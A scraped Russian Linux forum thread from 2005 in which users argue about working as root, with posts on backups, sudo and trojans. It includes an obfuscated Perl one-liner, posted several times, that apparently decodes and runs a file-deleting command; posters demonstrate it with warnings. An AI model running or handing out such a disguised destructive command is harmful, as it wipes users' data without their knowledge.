Модератор: Модераторы разделов
Пользовательские данные быкапить надо. А всю систему не забыкапишь.
Гигабайты музыки я держу на болванках. А от случайного затирания пользовательских данных спасает, кроме быкапа, ещё, к примеру, регулярное создание дополнительных хардлинков на всё содержимое; а на всю систему не посоздаёшь. По идее (на практике не пробовал) можно даже создавать хардлинки от имени другого (дополнительного) пользователя, а основному не давать к ним прав на запись -- тогда уж гарантия от случайного затирания стопроцентная (если, опять же, не под рутом сидеть(Unregistered @ Понедельник, 11 Июля 2005, 18:28) писал(а):Мне мои гигабайты музыки важней.
). Так никто ведь и не уговаривает(Unregistered @ Понедельник, 11 Июля 2005, 18:40) писал(а):Иными словами, всё это достаточно эфемерно.
А мне, например, чаще всего переставлять систему просто _некогда_. Если она грохнется, я, пока её переставлю, заказ могу завалить; ну, завалить не завалить, но ночью потом отсиживать тоже не улыбается. А рецепт от случайного удаления пользовательских данных я дал (для примера).(Unregistered @ Понедельник, 11 Июля 2005, 18:40) писал(а):Мне вот систему особо не в лом переустановить, если что.
Некоторые пользовательские вещи под рутом по умолчанию не работают; зачем ломать себе мозги, заставляя их работать?
5. И наконец, при подключении к сети от взлома тоже никто никогда не гарантирован на 100%; одно дело, если крякер получит доступ к вашему домашнему каталогу, и совсем другое -- если ко всей системе (включая полный доступ к файлам типа /etc/shadow и т.п.)
(Unregistered @ Понедельник, 11 Июля 2005, 17:23) писал(а):И ещё вот довод, почему же такой штуки, с удалением всего и вся, ещё в Windows ни с кем не случилось?
Ну под рутом у меня только xscreensaver не работал, но и его я уговорил. Все остальное работает на ура.
А вот вполне актуальный вопрос - безапасность!!
(Unregistered @ Вторник, 12 Июля 2005, 12:06) писал(а):Вобщем, выводы: хотите сидите, хотите не сидите под рутом. Противопоказаний никаких нет. Всё зависит от Ваших предпочтений и выполняемых Вами задач.
(demongloom @ Вторник, 12 Июля 2005, 6:19) писал(а):Если человек мудак, то ему и самый простой пользователь неподойдет, т.к. он на физ. уровне убьет комп раньше. Нужно просто осозновать свои действия, в том числе и использование рута.
(Unregistered @ Вторник, 12 Июля 2005, 12:06) писал(а):Если уж на то пошло, то можно поставить файервол (что я и сделал), антивирус.
(demongloom @ Вторник, 12 Июля 2005, 6:19) писал(а):Не слушай их. Они тебя запугают по самое нехочу.
(demongloom @ Вторник, 12 Июля 2005, 6:19) писал(а):Нужно просто осозновать свои действия, в том числе и использование рута. Вот и все.
(Unregistered @ Вторник, 12 Июля 2005, 0:40) писал(а):Иными словами, всё это достаточно эфемерно. Мне вот систему особо не в лом переустановить, если что. Данные бэкапом в винде на нтфсе лежат. А если всё и накроется медным тазом, то тут уже не до системы явно будет.
Код: Выделить всё
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'Код: Выделить всё
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;se;print;'
(zag @ Вторник, 12 Июля 2005, 9:19) писал(а):Не верите-проверьтеКод: Выделить всё
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;se;print;'
(Unregistered @ Понедельник, 11 Июля 2005, 18:23) писал(а):Если это пользователь обычный, то будет делать всё через GUI. Необычный до такого не докатится.
И что мешает любому пользователю таким же макаром затереть свой профиль сидя не под рутом? А ведь там хранится всё самое важное.
А систему можно и переустановить.
Опять же - система для обычного пользователя ничего не значит. Важнее всего - пользовательские данные.
И ещё вот довод, почему же такой штуки, с удалением всего и вся, ещё в Windows ни с кем не случилось? B)
(wolf_black @ Вторник, 12 Июля 2005, 15:05) писал(а):* Вы не контролируете ситуацию. Показанная для смеха другу строчка с rm -rf в терминале может быть случайно вызвана промоткой истории и запущена чисто на автомате. НИКТО НЕ КОНТРОЛИРУЕТ СИТУАЦИЮ ДО КОНЦА
* Я вас разочарую насчет вирусов - их-то нет, зато черви и трояны имеются по полной программе. И многие хотели бы запуститься с правами рута, а не пытаться превысить привилегии с помощью эксплоитов, работающих не на каждом ядре. Выцепить из системы трояны довольно проблематично. И придется вам свое настроенное чудо оплакать и настраитьва все заново.
* Вы не дебил. И я не дебил. Каждый думает, что уж он-то наверняка не дебил, не маша-растеряша и уж с ним-то точно ничего не случится. У меня (jackill) "ничего не случится" произошло через два с половиной года использования линукс. Умерло все. Одна неосторожно запущенная команда. Многие пали жертвой хитрого перлового скрипта (поищите на сайте), в котором содержалась просьба запустить скрипт и проверить, почему он выпадает с ошибкой. В нем был замаскирован любимый rm -rf. Не поддавайтесь человеческой природе - не будьте самоуверены.
(wolf_black @ Вторник, 12 Июля 2005, 15:05) писал(а):Если уж на то пошло, то можно поставить файервол (что я и сделал), антивирус.
всерьёз думаешь что всегда это поможет при современных эксплоитах ?
(wolf_black @ Вторник, 12 Июля 2005, 15:05) писал(а):http://www.lib.ru/unixhelp/grabli.txt ещё для затравки
. А кто авторитет, если не секрет?(zag @ Вторник, 12 Июля 2005, 17:19) писал(а):Не запускайте этот код под рутом!!!Да и под обычным нежелательно, если машина шустра, не успеете остановить и лишитесь своей директории smile.gif. Создайте юзера test, вот под ним и экспериментируйте, сколько угодно.Не верите-проверьте
(Ash @ Вторник, 12 Июля 2005, 10:53) писал(а):Можно и новую машину купить, если пепельница забьется
(Ash @ Вторник, 12 Июля 2005, 10:53) писал(а):"обычный пользователь" - такое же емкое выражение, как и "простой человек".
Совет не работать под рутом касается обеспечения сохранности системы, а не сохранности пользовательских данных (очевидно, вы это имели в виду под словом "профиль"?)
Если помните, *nix - системы изначально разрабатывались как многопользовательские, поэтому если какой-то умник завалит свои данные, то не потянет при этом еще и ваши.
А я вот после установки до сих пор ни разу под рутом не зашёл. А сессии исполнения sudo в этом смысле достатчно безопасны...(Unregistered @ Вторник, 12 Июля 2005, 11:08) писал(а):Все вы постоянно забвыете об одном: тоже самое можно сделать и иногда заходя под рутом
(Topper @ Вторник, 12 Июля 2005, 17:18) писал(а):приведите хоть один довод в пользу работы под рутом.
И ваще-ее-е
Сидите под рутом - если волос на ж...пе много - будет что рвать потом :-)
Не подскажешь, как ты это сделал? А то у меня такая же сейчас проблема.
* Вы не контролируете ситуацию. Показанная для смеха другу строчка с rm -rf в терминале может быть случайно вызвана промоткой истории и запущена чисто на автомате. НИКТО НЕ КОНТРОЛИРУЕТ СИТУАЦИЮ ДО КОНЦА
* Я вас разочарую насчет вирусов - их-то нет, зато черви и трояны имеются по полной программе. И многие хотели бы запуститься с правами рута, а не пытаться превысить привилегии с помощью эксплоитов, работающих не на каждом ядре. Выцепить из системы трояны довольно проблематично. И придется вам свое настроенное чудо оплакать и настраитьва все заново.
* Вы не дебил. И я не дебил. Каждый думает, что уж он-то наверняка не дебил, не маша-растеряша и уж с ним-то точно ничего не случится. У меня (jackill) "ничего не случится" произошло через два с половиной года использования линукс. Умерло все. Одна неосторожно запущенная команда. Многие пали жертвой хитрого перлового скрипта (поищите на сайте), в котором содержалась просьба запустить скрипт и проверить, почему он выпадает с ошибкой. В нем был замаскирован любимый rm -rf. Не поддавайтесь человеческой природе - не будьте самоуверены.
Пугать тоже не хорошо.а вот плохие советы давать нехорошо
но когда один всего лиш раз ошибёшся ,то будет поздно потом думать "рут-нерут" ,
а людей которые не ошибаются я не видел даже про таких не слышал
а зачем переустанавливать то ? может проще перестраховаться заранее чем
потом терять время на переустановкусистемы разворачивать тонны бэкапа
(demongloom @ Вторник, 12 Июля 2005, 12:29) писал(а):На ошибках учится. Знаете, порой полезно наступать на грабли в качестве профилактики. Помогает набираться опыту. Для незнающих советую поискать мою тему про профилактические грабли.
(demongloom @ Вторник, 12 Июля 2005, 12:29) писал(а):Мы нормальные! Просто изредка нас очерняют различные мудаки.
Какие там тонны. Ставишь acronis true image и за 10-15 минут система як новенька.
Причины давно написаны, пересказаны и т.п. Вот чего-чего, а музыку и фильмы мне никогда не жалко. Оно есть на болвашках, есть у друзей и т.п.
а я неоднократно спьяну движением мыши переносил папку виндоус куда-нить вглубь.
у меня вопрос один: А ЗАЧЕМ? зачем работать под рутом?
Если нормальные, почему так раздражаетесь, что позволяете себе оскорблять других, которые в этом топике пока что не высказали в Ваш адрес ничего плохого.
Простая и красивая логика: начинающему пользователю проще запороть систему из-под root'а, а этому надо всесильно способствовать, чтобы вместо просмотра фильма/прослушивания музыки он тыркался в кнопочки настройки. Кроме того, применяем универсальное правило: если есть возможность сделать что-нибудь бесполезное, но негативных последствий не видно, это необходимо сделать. Честно говоря, когда я вижду людей, живущих по этому принципу, мне становится жалко, что в детстве они не успели применить его к розетке...(Unregistered @ Вторник, 12 Июля 2005, 13:30) писал(а):Как минимум удобно. Особенно для начинающего пользователя (с чего всё и начиналось, если помните). Да и противопоказаний особых что-то я не услышал.
Если нормальные, почему так раздражаетесь, что позволяете себе оскорблять других, которые в этом топике пока что не высказали в Ваш адрес ничего плохого. Здесь каждый волен высказать своё мнение, даже если оно не совпадает с Вашим.
Простая и красивая логика: начинающему пользователю проще запороть систему из-под root'а, а этому надо всесильно способствовать, чтобы вместо просмотра фильма/прослушивания музыки он тыркался в кнопочки настройки. Кроме того, применяем универсальное правило: если есть возможность сделать что-нибудь бесполезное, но негативных последствий не видно, это необходимо сделать. Честно говоря, когда я вижду людей, живущих по этому принципу, мне становится жалко, что в детстве они не успели применить его к розетке...
Этому НЕ НАДО учиться. Точнее, этому НАДО НЕ учиться.(demongloom @ Вторник, 12 Июля 2005, 14:23) писал(а):Дык пускай начинающий пользователь учится систему убивать и восстанавливать.
Тут alv правильно сказал: запасайтесь волосами и рвите. Изучать систему можно и без массовых разрушений. И все операции, требующие администраторской помощи, можно делать через sudo. Очень экономит время.(demongloom @ Вторник, 12 Июля 2005, 14:23) писал(а):если человек хочет колупать и изучать систему, то почему бы нет?